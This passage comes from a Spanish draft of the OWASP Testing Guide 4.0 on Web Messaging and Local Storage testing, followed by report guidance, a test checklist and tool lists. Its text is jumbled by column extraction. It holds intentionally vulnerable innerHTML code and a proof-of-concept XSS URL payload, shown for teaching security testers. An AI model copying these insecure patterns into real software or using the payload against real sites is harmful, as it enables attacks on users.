propiedad que crearía una vulnerabilidad DOM-based XSS. Código inseguro. Un atacante puede pasar por alto fácilmente el filtro, ya que coincidirá con www.owasp.org.attacker.com. Cómo probar Prueba de Caja Negra Las pruebas de vulnerabilidades de la Caja Negra en Web Messaging, por lo general, no se llevan a cabo porque el acceso al código fuente está siempre disponible ytiene que ser enviado al cliente para ser ejecutado.
Prueba de Caja Gris
Ejemplo de falta de comprobación de origen, muy inseguro porque aceptará la entrada de cualquier dominio: window.addEventListener(“message”, callback, true);
function callback(e) { /* process message (e.data) */
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 323
Guia de pruebas 4.0 "Borrador"
}
Prueba de Almacenamiento Local (OTG-CLIENT-012) Resumen
Ejemplo de validación de entradas: La falta de controles de seguridad conducen a Cross-Site Scripting (XSS) window.addEventListener(“message”, callback, true);
Almacenamiento local, también conocido como Web Storage o Offline Storage, es un mecanismo para almacenar los datos como pares clave/valor atados a un dominio y forzados por la política del mismo origen (SOP). Hay dos objetos: localStorage que es persistente y está destinado a sobrevivir los reinicios del navegador/sistema; y sessionStorage que es temporal y sólo existe hasta que se cierre la ventana o pestaña.
function callback(e) { if(e.origin === “trusted.domain.com”) { element.innerHTML= e.data; } }
Este código dará lugar a vulnerabilidades Cross-Site Scripting (XSS) ya que los datos no se tratan adecuadamente. Un enfoque más seguro sería el uso de la propiedad textContent en lugar de innerHTML.
Herramientas • OWASP Zed Attack Proxy (ZAP): owasp.org
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que le permiten encontrar las vulnerabilidades de seguridad de forma manual.
En promedio, los navegadores permiten guardar en este almacenamiento alrededor de 5 MB por cada dominio. Comprarados con el de 4 KB de cookies es una gran diferencia, pero la diferencia clave desde la perspectiva de seguridad es que los datos almacenados en estos dos objetos se mantienen en el cliente y nunca se envían al servidor. Esto también mejora el rendimiento de la red ya que los datos no tienen que ir y volver a través del cable.
Almacenamiento local El acceso al almacenamiento se realiza normalmente utilizando las funciones SetItem y GetItem. El almacenamiento se puede leer desde JavaScript, lo que significa que con una sola XSS un atacante sería capaz de extraer todos los datos desde el almacenamiento. Además, se pueden cargar datos maliciosos en el almacenamiento a través de JavaScript, por lo que la aplicación necesita tener los controles para el tratamiento de datos no confiables. Compruebe si hay más de una aplicación en el mismo dominio, tales como example.foo/app1 y example.foo/app2, porque esas compartirán el mismo almacenamiento.
Los datos almacenados en este objeto persistirán después que la ventana está cerrada. No es buena idea almacenar datos sensibles o identificadores de sesión en este objeto, ya que se puede acceder a ellos a través de JavaScript. Datos de sesión ID almacenados en las cookies pueden mitigar este riesgo mediante el indicador HTTPOnly.
Referencias Recursos OWASP • OWASP HTML5 Security Cheat Sheet: owasp.org
Libros Blancos • Web Messaging Specification: whatwg.org
sessionStorage La principal diferencia de localStorage es que se puede acceder a los datos almacenados en este objeto sólo hasta que la pestaña / ventana se cierra, lo que lo hace un candidato perfecto para los datos que no necesitan persistir entre sesiones. Ya que comparte la mayoría de las propiedades y los métodos getItem / setItem, la prueba manual debe llevarse a cabo para buscar estos métodos e identificar en qué partes del código se accede al almacenamiento.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 324
Guia de pruebas 4.0 "Borrador"
También podemos inspeccionar estos objetos a partir de las herramientas de desarrollo de nuestro navegador.
Cómo probar Prueba de Caja Negra Las pruebas de Caja Negra de temas dentro del código de almacenamiento local, por lo general, no se llevan a cabo porque el acceso al código fuente está siempre disponible ya que tiene que ser enviado al cliente para ser ejecutado.
Prueba de Caja Gris En primer lugar, hay que comprobar si se utiliza el almacenamiento local. Ejemplo 1: Acceso al almacenamiento local:
La siguiente prueba manual debe llevarse a cabo con el fin de determinar si el sitio web está guardando datos sensibles en el almacenamiento que representa un riesgo, y aumentará dramáticamente el impacto de una fuga de información. También se debe revisar el código de manejo del almacenamiento para determinar si es vulnerable a ataques de inyección, un problema común cuando el código no escapa a la entrada o a la salida. El código JavaScript tiene que ser analizado para evaluar estas cuestiones, así que asegúrese de arrastrar la aplicación para descubrir cada instancia de código JavaScript y tenga en cuenta que, a veces, las aplicaciones utilizan las bibliotecas de terceros que tendrían que ser examinadas también.
El acceso a todos los elementos de almacenamiento local con JavaScript: for(var i=0; i<localStorage.length; i++) { console.log(localStorage.key(i), localStorage.getItem(localStorage.key(i)));
“
=
“,
}
Aquí está un ejemplo de cómo el uso indebido de la entrada del usuario y la falta de validación puede conducir a ataques XSS.
Ejemplo 2: XSS en localStorage: La asignación insegura de localStorage puede conducir a XSS
El mismo código puede ser aplicado a la sesión de almacenamiento.
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer Tools. A continuación, en Recursos, verá "Almacenamiento local" y "almacenamiento Web '.
function action(){
var resource = location.hash.substring(1);
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”); document.getElementById(“div1”).innerHTML=item; } Para el uso de Firefox con el Firebug en adelante, fácilmente puede inspeccionar el objeto localStorage / sessionStorage en la pestaña DOM.
</script>
<body onload=”action()”> <div id=”div1”></div> </body>
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 325
Guia de pruebas 4.0 "Borrador"
URL PoC:
• OWASP Zed Attack Proxy (ZAP): owasp.org
http://server/StoragePOC.html#<img src=x onerror=alert(1)> ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y ,como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que le permiten encontrar las vulnerabilidades de seguridad de forma manual.
Referencias Herramientas • Firebug: getfirebug.com
• Google Chrome Developer Tools: developers.google.com
Recursos OWASP • OWASP HTML5 Security Cheat Sheet: owasp.org
Libros Blancos • Web Storage Specification: w3.org
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 326
Guia de pruebas 4.0 "Borrador"
5
Cómo Reportar La realización de la parte técnica de la evaluación es sólo la mitad del proceso global de evaluación. El producto final es la producción de un informe bien escrito e informativo. Un informe debe ser fácil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de evaluación. El informe debe hacer un llamamiento tanto a la dirección ejecutiva como al personal técnico.
La realización de la parte técnica de la evaluación es sólo la mitad del proceso global de evaluación. El producto final es la producción de un informe bien escrito e informativo. Un informe debe ser fácil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de evaluación. El informe debe hacer un llamamiento tanto a la dirección ejecutiva como al personal técnico.
organización enfrenta o sus consecuencias en los negocios si las vulnerabilidades explotan. Esta es la tarea de los profesionales en situación de riesgo, quienes calculan los niveles de riesgo a base de esta y otra información. La gestión de riesgos, por lo general, será parte de la organización IT Security Governance, Risk and Compliance (GRC) y este informe se limitará a proporcionar un primer paso a ese proceso.
2. Parámetros de prueba
El informe debe tener tres secciones principales. Debe ser creado de una manera que permita que cada sección separada pueda ser impresa y entregada a los equipos apropiados, tales como los desarrolladores o los administradores del sistema. Las secciones recomendadas se resumen a continuación.
La introducción debe describir los parámetros de las pruebas de seguridad, los hallazgos y la remediación. Algunos títulos de las secciones sugeridas incluyen:
2.1 Objetivo del proyecto: En esta sección se describen los objetivos del proyecto y los resultados esperados de la evaluación.
1. Resumen Ejecutivo 2.2 Alcance del proyecto: En esta sección se describe el alcance acordado. El resumen ejecutivo compendia los resultados generales de la evaluación y ofrece a los administradores de negocios y propietarios de sistemas una vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje utilizado debe ser más adecuado para las personas que no están al tanto de la tecnología y debe incluir gráficos o diagramas que muestren el nivel de riesgo. Tenga en cuenta que es probable que los ejecutivos sólo tengan tiempo para leer este resumen y quieran dos preguntas contestadas en un lenguaje sencillo: 1) ¿Qué pasa? 2) ¿Cómo lo arreglo? Usted tiene una página para responder a estas preguntas.
El resumen ejecutivo debe indicar claramente que las vulnerabilidades y su gravedad son un primer paso al proceso de gestión de riesgos de la organización, no un resultado o remediación. Es más seguro explicar que el evaluador no entiende las amenazas que la
2.3 Planificación del proyecto: Esta sección muestra cuando la prueba inició y terminó.
2.4 Objetivos: Esta sección muestra el número de aplicaciones o sistemas específicos.
2.5 Limitaciones: Esta sección describe todas las limitaciones que enfrentaron a lo largo de la evaluación. Por ejemplo, limitaciones pruebas de enfoque de proyectos, limitación en métodos de ensayo cuestiones de seguridad, rendimiento o problemas técnicos que evaluador encontró durante el transcurso de la evaluación, etc.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 327
se en en el
Guia de pruebas 4.0 "Borrador"
2.6 Resumen de resultados: En esta sección se describen las vulnerabilidades que se descubrieron durante la prueba. • Imágenes y líneas de comandos para indicar qué tareas se llevaron a cabo durante la ejecución del caso de prueba 2.7 Resumen de remediación: En esta sección se describe el plan de acción para resolver las vulnerabilidades que se descubrieron durante la prueba.
• El elemento afectado
3. Resultados
• Una descripción técnica del problema y la función o el objeto afectado
La última sección del informe incluye información técnica detallada acerca de las vulnerabilidades detectadas y las acciones necesarias para resolverlas. Esta sección está dirigida a un nivel técnico y debe incluir toda la información necesaria para que los equipos técnicos puedan comprender el problema y resolverlo. Cada hallazgo debe ser claro y conciso y dar al lector del informe una comprensión completa del tema en cuestión.
La sección de resultados debe incluir:
ID Prueba
• Una sección sobre la solución del problema
• La clasificación de gravedad [1], con la notación vectorial si se utiliza CVSS
La siguiente es la lista de controles que fueron probados durante la evaluación:
Última versión
Recopilación de Información OTG-INFO-001
Realizar Motor de búsqueda de descubrimiento y reconocimiento de la fuga de información
OTG-INFO-002
Huella digital del Servidor Web
OTG-INFO-003
Revisión de los Meta archivos del Servidor Web para la fuga de información
OTG-INFO-004
Enumerar las aplicaciones en el Servidor Web
OTG-INFO-005
Revisión de los Comentarios de la Página Web y metadatos para la fuga de información
OTG-INFO-006
Identificar los puntos de entrada de la aplicación
OTG-INFO-007
Mapa de rutas de ejecución a través de la aplicación
OTG-INFO-008
Marco de Aplicaciones Web de la huella digital
OTG-INFO-009
Aplicación Web de la huella digital
OTG-INFO-010
Mapa de arquitectura de aplicaciones
Configuración y Pruebas de Gestión de Despliegue
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 328
Guia de pruebas 4.0 "Borrador"
OTG-CONFIG-001
Configuración de Red / Infraestructura de prueba
OTG-CONFIG-002
Configuración de la plataforma de aplicaciones de prueba
OTG-CONFIG-003
Extensiones de prueba de gestión de ficheros de información sensible
OTG-CONFIG-004
Archivos de copia de seguridad y sin referencia para la información sensible
OTG-CONFIG-005
Enumerar interfaces de administración de infraestructura y aplicaciones
OTG-CONFIG-006
Métodos de prueba HTTP
OTG-CONFIG-007
Seguridad de Transporte Estricta de Prueba HTTP
OTG-CONFIG-008
Políticas de Dominio Cruzado de Pruebas RIA
Pruebas de Gestión de Identidad OTG-IDENT-001
Definiciones de función de Prueba
OTG-IDENT-002
Proceso de Registro de Usuario de Prueba
OTG-IDENT-003
Proceso de Prueba Aprovisionamiento de cuentas
OTG-IDENT-004
Pruebas para la cuenta de enumeración y cuentas de usuario adivinable
OTG-IDENT-005
Pruebas de políticas de nombre de usuario no ejecutado o débil
OTG-IDENT-006
Permisos de Prueba de las cuentas de invitado / entrenamiento
OTG-IDENT-007
Prueba de suspensión de cuenta / Proceso Reanudación
Pruebas de Autenticación OTG-AUTHN-001
Pruebas para Credenciales, transportados por un canal cifrado
OTG-AUTHN-002
Pruebas para las credenciales predeterminadas
OTG-AUTHN-003
Pruebas para mecanismo de bloqueo débil
OTG-AUTHN-004
Pruebas para pasar por el sistema de autenticación
OTG-AUTHN-005
Prueba de funcionalidad recordar contraseña
OTG-AUTHN-006
Pruebas para debilidad de caché del navegador
OTG-AUTHN-007
Pruebas para la política de contraseñas débiles
OTG-AUTHN-008
Pruebas para la seguridad Débil pregunta / respuesta
OTG-AUTHN-009
Pruebas para los pocos cambios de contraseña o funcionalidades de reinicio
OTG-AUTHN-010
Pruebas para la autenticación más débil en canal alternativo
Pruebas de Autorización
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 329
Guia de pruebas 4.0 "Borrador"
OTG-AUTHZ-001
Directorio de las pruebas de recorrido / archivo de inclusión
OTG-AUTHZ-002
Pruebas para pasar por el esquema de autorización
OTG-AUTHZ-003
Pruebas para escalada de privilegios
OTG-AUTHZ-004
Pruebas para referencias de objetos directos inseguros
ID Prueba
Última versión
Pruebas de gestión de sesiones OTG-SESS-001
Pruebas por exclusión del esquema de gestión de sesiones
OTG-SESS-002
Pruebas para atributos Cookies
OTG-SESS-003
Pruebas para Fijación de Sesión
OTG-SESS-004
Pruebas para variables de sesión expuestas
OTG-SESS-005
Pruebas para falsificación de solicitudes de múltiples sitios
OTG-SESS-006
Pruebas para funcionalidad de cierre de sesión
OTG-SESS-007
Tiempo de espera de sesión de pruebas
OTG-SESS-008
Pruebas para sesión desconcertante
Pruebas de validación de entrada OTG-INPVAL-001
Pruebas para XSS Reflejado
OTG-INPVAL-002
Pruebas para almacenado XSS
OTG-INPVAL-003
Pruebas para Alteración verbal HTTP
OTG-INPVAL-004
Pruebas para la contaminación de parámetros HTTP
OTG-INPVAL-006
Pruebas para la inyección de SQL Prueba de oráculo Pruebas de Servidor SQL Prueba de PostgreSQL Pruebas de Acceso MS Pruebas para la inyección NoSQL
OTG-INPVAL-007
Pruebas para inyección LDAP
OTG-INPVAL-008
Pruebas para inyección ORM
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 330
Guia de pruebas 4.0 "Borrador"
OTG-INPVAL-009
Pruebas para inyección XML
OTG-INPVAL-010
Pruebas para inyección SSI
OTG-INPVAL-011
Pruebas para inyección XPath
OTG-INPVAL-012
Inyección IMAP / SMTP
OTG-INPVAL-013
Pruebas para la inyección de código Pruebas para la Inclusión de archivos locales Pruebas para la inclusión de archivos remotos
OTG-INPVAL-014
Pruebas para inyección de comandos
OTG-INPVAL-015
Pruebas para desbordamiento de búfer Pruebas para desbordamiento del montón Pruebas para desbordamiento de pila Pruebas para el formato de cadenas
OTG-INPVAL-016
Pruebas para vulnerabilidades incubadas
OTG-INPVAL-017
Pruebas para división/contrabando de HTTP
Manejo de errores OTG-ERR-001
Análisis de Códigos de error
OTG-ERR-002
Análisis de trazas de la pila
Criptografía OTG-CRYPST-001
Pruebas para cifrados SSL/TSL débiles, protección de la capa de transporte insuficiente
OTG-CRYPST-002
Pruebas para oráculo acolchado
OTG-CRYPST-003
Pruebas para la información sensible enviada a través de canales no cifrados
ID Prueba
Última versión
Pruebas de Lógica de Negocios OTG-BUSLOGIC-001
Validación de prueba de datos empresariales lógicos
OTG-BUSLOGIC-002
Prueba de habilidad para forjar solicitudes
OTG-BUSLOGIC-003
Comprobaciones prueba de integridad
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 331
Guia de pruebas 4.0 "Borrador"
OTG-BUSLOGIC-004
Prueba de proceso de temporización
OTG-BUSLOGIC-005
Prueba de Límites de Número de veces que una función se puede utilizar
OTG-BUSLOGIC-006
Pruebas para la elusión de los flujos de trabajo
OTG-BUSLOGIC-007
Prueba de mejores defensas contra el mal uso de aplicaciones
OTG-BUSLOGIC-008
Prueba de carga de tipos de archivo inesperados
OTG-BUSLOGIC-009
Prueba de carga de Archivos malicioso
Pruebas lado del cliente OTG-CLIENT-001
Pruebas para DOM basada en XSS
OTG-CLIENT-002
Pruebas para ejecución de JavaScript
OTG-CLIENT-003
Pruebas para inyección HTML
OTG-CLIENT-004
Pruebas para redirección de URL lado del cliente
OTG-CLIENT-005
Pruebas para inyección CSS
OTG-CLIENT-006
Pruebas para la manipulación de recursos de lado del cliente
OTG-CLIENT-007
Prueba Cruzada intercambio de recursos de origen
OTG-CLIENT-008
Pruebas para sitios múltiples intermitentes
OTG-CLIENT-009
Pruebas para Clickjacking
OTG-CLIENT-010
Pruebas de websockets
OTG-CLIENT-011
Mensajería Web de prueba
OTG-CLIENT-012
Almacenamiento local de prueba
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 332
Apéndice
• Incluye una biblioteca de ataques XSS, codificador/decodificador de caracteres, generador de solicitudes y evaluador de respuestas HTTP, lista de verificación de pruebas, editor de ataques automatizados y mucho más.
OWASP Pantera Web Assessment Studio Project
Esta sección se utiliza a menudo para describir las herramientas comerciales y de código abierto que fueron utilizadas para realizar la evaluación. Cuando scripts personalizados o códigos son utilizados durante la evaluación, estos deben darse a conocer en esta sección o se deben señalar como un archivo adjunto. Los clientes aprecian cuando se incluye la metodología utilizada por los consultores. Esto les da una idea de la minuciosidad de la evaluación y de cuáles áreas fueron incluidas.
• Pantera usa una versión mejorada de SpikeProxy para proveer un motor más poderoso de análisis para aplicaciones web. El objetivo principal de Pantera es combinar capacidades automatizadas con pruebas manuales completas para conseguir los mejores resultados en pruebas de penetración.
OWASP Mantra - Security Framework
References Industry standard vulnerability severity and risk rankings (CVSS) [1]: first.org
• Mantra es un framework de pruebas de seguridad de aplicaciones web construido sobre un navegador. Es compatible con Windows, Linux (32 y 64 bit) y Macintosh. Además, puede trabajar con otros programas como ZAP usando funciones administrativas de proxy incorporado que hace que sea mucho más conveniente. Mantra está disponible en nueve idiomas: árabe, chino - simplificado, chino tradicional, inglés, francés, portugués, ruso, español y turco.
Apéndice A: Herramientas de prueba
SPIKE - immunitysec.com
Herramientas de Pruebas de Caja Negra de código abierto Pruebas Generales
• SPIKE está diseñado para analizar nuevos protocolos de red en busca de una saturación de búfer o debilidades similares. Requiere un sólido conocimiento de C para utilizarlo y sólo está disponible para la plataforma Linux.
OWASP ZAP
Burp Proxy - portswigger.net
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración.
• Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de aplicaciones web, que permite interceptar y modificar todo el tráfico HTTP(S) que pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y clientes no proxy conscientes.
• ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.
OWASP WebScarab • WebScarab es un framework para analizar las aplicaciones que se comunican mediante los protocolos HTTP y HTTPS. Está escrito en Java y es portable a muchas plataformas. WebScarab tiene varios modos de funcionamiento que son ejecutados por varios plugins.
Odysseus Proxy - http://www.bindshell.net/tools/odysseus.html • Odysseus es un servidor proxy, que actúa como un intermediario durante una sesión HTTP. Un proxy HTTP típico retransmite paquetes hacia y desde un evaluador del cliente y un servidor web. Interceptará los datos de una sesión HTTP en cualquier dirección.
Webstretch Proxy - sourceforge.net • Webstretch Proxy permite a los usuarios ver y modificar todos los aspectos de la comunicación con un sitio web a través de un proxy. También puede ser utilizado para la depuración durante el desarrollo.
OWASP CAL9000 • CAL9000 es una colección de herramientas basadas en el navegador, que permiten esfuerzos de pruebas manuales más eficaces y eficientes.
WATOBO - sourceforge.net
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 333
• WATOBO trabaja como un proxy local, similar a Webscarab, ZAP o BurpSuite y soporta revisiones pasivas y activas.
• Las características de Wikto incluyen la comprobación de la lógica difusa de los errores de código, un minador de accesos restringidos, minero de directorio asistido por Google y seguimiento de solicitudes y respuestas HTTP en tiempo real. w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org • Visualiza encabezados HTTP de una página mientras navega.
• w3af es un framework referencial de ataques y auditorías de aplicaciones web. El objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones web.
Firefox Tamper Data - addons.mozilla.org skipfish - code.google.com • Use tamperdata para visualizar y modificar encabezados y publicaciones HTTP/HTTPS.
• Skipfish es una herramienta activa de reconocimiento de seguridad para aplicaciones web.
Firefox Web Developer Tools - addons.mozilla.org Web Developer toolbar - chrome.google.com • La extensión del Desarrollador Web añade varias herramientas de desarrollo web al navegador.
• La extensión Web Developer añade un botón de barra de herramientas al navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la extensión de Web Developer para Firefox.
DOM Evaluador - developer.mozilla.org • DOM Evaluador es una herramienta de desarrollador que se usa para inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document Object Model (DOM)).
HTTP Request Maker - chrome.google.com • Request Maker es una herramienta de pruebas de penetración. Con esta aplicación puede capturar fácilmente solicitudes realizadas por páginas web, alterar los encabezados URL e información POST y, por supuesto, realizar nevas solicitudes.
Firefox Firebug - getfirebug.com • Firebug se integra con Firefox para editar, depurar, y monitorear CSS,HTML, y JavaScript.
Cookie Editor - chrome.google.com • Edit This Cookie es un administrador de cookies. Usted puede añadir, borrar, editar, buscar, proteger y bloquear cookies
Grendel-Scan - sourceforge.net • Grendel-Scan es una herramienta automatizada de seguridad para aplicaciones web y soporta pruebas manuales de penetración.
Cookie swap - chrome.google.com • Swap My Cookies es un administrador de sesión, administra cookies, permitiendo que se registre en cualquier sitio web con varias cuentas diferentes.
OWASP SWFIntruder - code.google.com • SWFIntruder (se pronuncia Swiff Intruder) es la primera herramienta desarrollada específicamente para analizar y probar la seguridad de tiempo de ejecución de aplicaciónes Flash.
SWFScan - Link por decidir • Descompilador de Flash
Firebug lite para Chrome”” - chrome.google.com Firebug Lite no es un sustituto de Firebug o Chrome Developer Tools. Es una herramienta para ser utilizada conjuntamente con estas herramientas. Firebug Lite proporciona la vasta representación visual que estamos acostumbrados a ver en Firebug cuando se trata de los elementos HTML, los elementos DOM y el Box Model shading. También ofrece algunas características interesantes como la inspección de los elementos HTML con el ratón y las propiedades CSS de edición en tiempo real.
Wikto - sensepost.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 334
Session Manager”” - chrome.google.com • Con el Session Manager se puede guardar en forma rápida el estado de su navegador actual y volverlo a cargar siempre que sea necesario. Puede administrar varias sesiones, cambiar nombres o eliminarlos de la sesión de biblioteca. Cada sesión recuerda el estado del navegador en el momento de su creación, es deci pestañas y ventanas abiertas.
Blind SQL Injections: code.google.com
• Pangolin: Una herramienta automática de pruebas de penetración de inyección SQL: nosec.org
• Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper: Subgraph Vega - subgraph.com http://www.ruizata.com/ • Vega es un escáner gratuito y de fuente abierta y plataforma de pruebas para comprobar la seguridad de las aplicaciones web. Vega puede ayudar a encontrar y validar la inyección SQL, Cross-Site Scripting (XSS), sin dar a conocer información sensible y otras vulnerabilidades. Está escrito en Java, basado en GUI, y se ejecuta en Linux, OS X y Windows.
• Multiple DBMS Sql Injection tool - SQL Power Injector: sqlpowerinjector.com
Prueba de vulnerabilidades específicas • MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools: Prueba de DOM XSS packetstormsecurity.org • DOMinator Pro: dominator.mindedsecurity.com
Prueba de Oracle Prueba de AJAX • TNS Listener tool (Perl: jammed.com • OWASP Sprajax Project: owasp.org • Toad for Oracle: quest.com
Prueba de inyección SQL Prueba de SSL • OWASP SQLiX • Foundstone SSL Digger: mcafee.com
• Sqlninja: inyección SQL Server & Herramienta Takeover : Prueba del acceso Forzoso de contraseña ( sqlninja.sourceforge.net • THC Hydra: thc.org • John the Ripper: openwall.com • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool: • Brutus: hoobie.net sqlmap.org • Medusa: foofus.net • Absinthe 1.1 (formerly SQLSqueal): sourceforge.net • Ncat: nmap.org
• SQLInjector - Usa técnicas de inferencia para extraer datos y Prueba de la saturación de búfer (Buffer Overflow) determinar el servidor de bases de back-end: databasesecurity.com OllyDbg: ollydbg.de
• Bsqlbf-v2: Un script Perl que permite la extracción de datos de
• “Un depurador basado en Windows que se usa para analizar las vulnerabilidades de saturación del búfer”
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 335
• N-Stalker Web Application Security Scanner: nstalker.com Spike: immunitysec.com
• HP WebInspect: hpenterprisesecurity.com
• Un framework de distorción que puede usarse para explorar vulnerabilidades y realizar pruebas de larga duración de Fuerza Bruta Binaria (Brute Force Binary Tester (BFB)) :
• SoapUI (Web Service security testing): soapui.org
bfbtester.sourceforge.net
• Netsparker: mavitunasecurity.com • SAINT: saintcorporation.com • QualysGuard WAS: qualys.com
• Un verificador binario proactivo
• Retina Web: beyondtrust.com
Metasploit: metasploit.com Evaluadores de Código Fuente • Un framework rápido de desarrollo y pruebas
Open Source / Freeware • Owasp Orizon: owasp.org
Distorsionador (Fuzzer)
• OWASP LAPSE: owasp.org
• OWASP WSFuzzer: owasp.org
• OWASP O2 Platform: owasp.org
• Wfuzz: darknet.org.uk
• Google CodeSearchDiggity: bishopfox.com • PMD: pmd.sourceforge.net
Googleando
• FlawFinder: dwheeler.com
• Stach & Liu’s Google Hacking Diggity Project: bishopfox.com
• Microsoft’s FxCop: msdn.microsoft.com
• Foundstone Sitedigger (Google cached fault-finding): mcafee.com
• Splint: splint.org • Boon: cs.berkeley.edu
Herramientas comerciales de pruebas de caja negra
• FindBugs: findbugs.sourceforge.net
• NGS Typhon III: nccgroup.com
• Find Security Bugs: h3xstream.github.io
• NGSSQuirreL: nccgroup.com
• W3af: w3af.sourceforge.net
• IBM AppScan: 01.ibm.com
• phpcs-security-audit: github.com
• Cenzic Hailstorm: cenzic.com • Burp Intruder: portswigger.net
Comercial
• Acunetix Web Vulnerability Scanner: acunetix.com
• Armorize CodeSecure: armorize.com
• Sleuth: sandsprite.com
• Parasoft C/C++ test: parasoft.com
• NT Objectives NTOSpider: ntobjectives.com
• Checkmarx CxSuite: checkmarx.com
• MaxPatrol Security Scanner: ptsecurity.com
• HP Fortify: hpenterprisesecurity.com
• Parasoft SOAtest (more QA-type tool): parasoft.com
• GrammaTech: grammatech.com
• MatriXay: dbappsecurity.com
• ITS4: seclab.cs.ucdavis.edu
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 336
• Appscan: 01.ibm.com
• Una herramienta de prueba basada en XML que proporciona una fachada en la parte superior de htmlunit.
• ParaSoft: parasoft.com • Virtual Forge CodeProfiler for ABAP: virtualforge.de • Veracode: veracode.com
• No es necesaria la codificación ya que las pruebas están completamente especificadas en XML.
• Armorize CodeSecure: armorize.com • Existe la opción de secuencias de algunos elementos en el Groovy si XML no es suficiente. Herramientas de prueba de aceptación Las herramientas de pruebas de aceptación se utilizan para validar la funcionalidad de las aplicaciones web. Algunas siguen un enfoque con guión y, por lo general, hacen uso de un marco de pruebas unitarias para construir series de pruebas y casos de prueba. La mayoría, si no todas, se pueden adaptar para llevar a cabo pruebas específicas de seguridad, además de las pruebas funcionales.
Herramientas de código fuente • Un marco de pruebas basado en la web Ruby que proporciona una interfaz en Internet Explorer.
• Mantenido muy activamente
• HttpUnit: httpunit.sourceforge.net
• Uno de los primeros marcos de prueba web; adolece de usar el nativo JDK proporcionando transporte HTTP que puede ser un poco limitante para las pruebas de seguridad.
• Watij: watij.com • Windows solamente.
• Una implementación Java de WATIR. • HtmlUnit: htmlunit.sourceforge.net
• Un marco basado en Java y JUnit que utiliza Apache HttpClient como transporte.
• El proyecto ahora es compatible con IE, Mozilla, y Safari, Windows, Linux, y Mac
• Solex: solex.sourceforge.net • Muy robusto y configurable y se utiliza como motor para un número de otras herramientas de prueba. • Un plugin de Eclipse que proporciona una herramienta gráfica para grabar sesiones de HTTP y hace afirmaciones basadas en los resultados. • jWebUnit: jwebunit.sourceforge.net
• Selenium: seleniumhq.org • Un meta-marco basado en Java que utiliza htmlunit o selenium como motor de prueba. • El marco de pruebas basadas en JavaScript, multiplataforma y ofrece una Interfaz gráfica de usuario para la creación de pruebas. • Canoo WebTest: webtest.canoo.com
• Herramienta, madura y popular, pero el uso de JavaScript podría dificultar ciertas pruebas de seguridad.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 337
• The Open Web Application Security Project (OWASP) Guide Project: Otras herramientas
owasp.org
Análisis de tiempo de ejecución • Rational PurifyPlus: 01.ibm.com • Seeker by Quotium: quotium.com
Analisis Binario • BugScam IDC Package: sourceforge.net
• Security Considerations in the System Development Life Cycle (NIST): nist.gov
• The Security of Applications: Not All Are Created Equal: securitymanagement.com
• Veracode: veracode.com • Software Assurance: An Overview of Current Practices: Gestión de Requisitos
safecode.org
• Rational Requisite Pro: ibm.com • Software Security Testing: Software Assurance Pocket guide Series: Mirroring del Sitio
Development, Volume III: buildsecurityin.us-cert.gov
• wget: gnu.org • curl: curl.haxx.se
• Use Cases: Just the FAQs and Answers: ibm.com
• Sam Spade: samspade.org • Xenu’s Link Sleuth: home.snafu.de
Libros Blancos • The Art of Software Security Testing: Identifying Software Security
Guía de pruebas OWASP Apéndice B:
Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
• Building Secure Software: How to Avoid Security Problems the Libros Blancos • The Economic Impacts of Inadequate Infrastructure for Software Testing: nist.gov
• Improving Web Application Security: Threats and Countermeasures: msdn.microsoft.com
• NIST Publications: csrc.nist.gov
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002) buildingsecuresoftware.com
• The Ethical Hack: A Framework for Business Value Penetration Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
• + Versión online disponible en: books.google.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 338
• Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): exploitingsoftware.com
